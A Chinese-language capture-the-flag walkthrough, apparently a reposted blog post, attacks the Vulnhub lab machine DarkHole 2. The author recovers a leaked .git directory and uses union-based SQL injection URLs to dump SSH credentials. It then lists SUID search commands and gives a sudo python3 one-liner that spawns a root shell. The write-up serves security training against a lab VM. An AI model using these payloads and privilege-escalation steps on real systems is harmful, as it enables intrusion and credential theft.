Vulnhub之DARKHOLE: 2渗透测试

1、靶机概述

Description
Difficulty:Hard

This works better with VMware rather than VirtualBox

Hint: Don’t waste your time For Brute-Force

kali:192.168.110.128
靶机:192.168.110.137

2、信息搜集

首先探测靶机IP地址
在这里插入图片描述
扫一下端口和服务,可知靶机只开启了22和80端口。
在这里插入图片描述
我们访问一下站点,页面存在登陆接口Login。
在这里插入图片描述
点击login,跳转至登陆页面
在这里插入图片描述
没有注册接口,靶机也已经提示不要浪费时间在爆破上面
右键查看一下页面源码吧
在这里插入图片描述
没有找到有用的信息。
接下来,扫描一下后台目录
在这里插入图片描述
发现存在git泄漏,并访问.git目录
在这里插入图片描述

分析源码

获取源码:

wget -r //递归下载所有文件
wget -r http://192.168.110.137/.git

这将创建一个名称为 IP 地址的目录。在目录中,它包含递归下载的文件,包括“.git”。
在这里插入图片描述
按如下方式克隆

git clone . testweb

这将创建一个 git 存储库“testweb”,我们可以在其中执行所有 git 操作。
在这里插入图片描述
进入config目录查看配置
在这里插入图片描述
可知数据库名为darkhole_2
继续查看login.php
在这里插入图片描述
可以看到做了防sql注入。
然后git log查看更新
在这里插入图片描述
看到第2次更新时,login.php使用了默认凭证。
因此,我们将 HEAD 切换到该提交,并查看login.php
在这里插入图片描述
找到了用户名和密码,然后登陆平台
在这里插入图片描述

找了一遍,不存在上传文件的地方。
不过,将id换成2,访问返回空
在这里插入图片描述
直觉告诉我,此处,应该存在sql注入
加上单引号'访问
在这里插入图片描述
然后http://192.168.110.137/dashboard.php?id=1%27--+访问正常
在这里插入图片描述

3、漏洞利用

order by 猜解表中列数
在这里插入图片描述
爆表名

http://192.168.110.137/dashboard.php?id=-1' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema=database() --+

在这里插入图片描述
爆字段
因为要进入后台,我们选择爆ssh表字段。

http://192.168.110.137/dashboard.php?id=-1' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_name='ssh' --+

在这里插入图片描述
爆数据

http://192.168.110.137/dashboard.php?id=-1' union select 1,2,3,4,5,group_concat(user,0x3a,pass) from ssh  --+

在这里插入图片描述
ssh登录jehad用户
在这里插入图片描述

4、获取losy用户shell

如果想提权到root权限,linux系统通常有以下几种方法:

  1. sudo提权,sudo -l 查询具有sudo权限命令,然后提权
  2. SUID提权,查找具有root权限的SUID的文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {
    
    } \;
  1. 通过在/etc/passwd添加一个root权限的账户进行提权
find / -writable -type f 2>/dev/null
  1. 内核提权

尝试sudo和SUID提权,均失败
在这里插入图片描述
看一下历史命令cat .bash_history
在这里插入图片描述
发现可疑命令
在这里插入图片描述
执行后,发现是losy用户权限

kali上编写反弹shell,并起http服务
在这里插入图片描述
靶机上,将shell文件,下载到tmp文件夹下
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

5、提权到root

sudo -l提示需要输入密码,而我们现在还不知道losy用户密码
在这里插入图片描述
继续查看历史命令
在这里插入图片描述
发现losy用户密码为gang
ssh登录losy
在这里插入图片描述
sudo -l 查询发现可以使用python3提权
在这里插入图片描述

sudo /usr/bin/python3 -c  "import os;os.system('/bin/bash')"

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/guo15890025019/article/details/122434372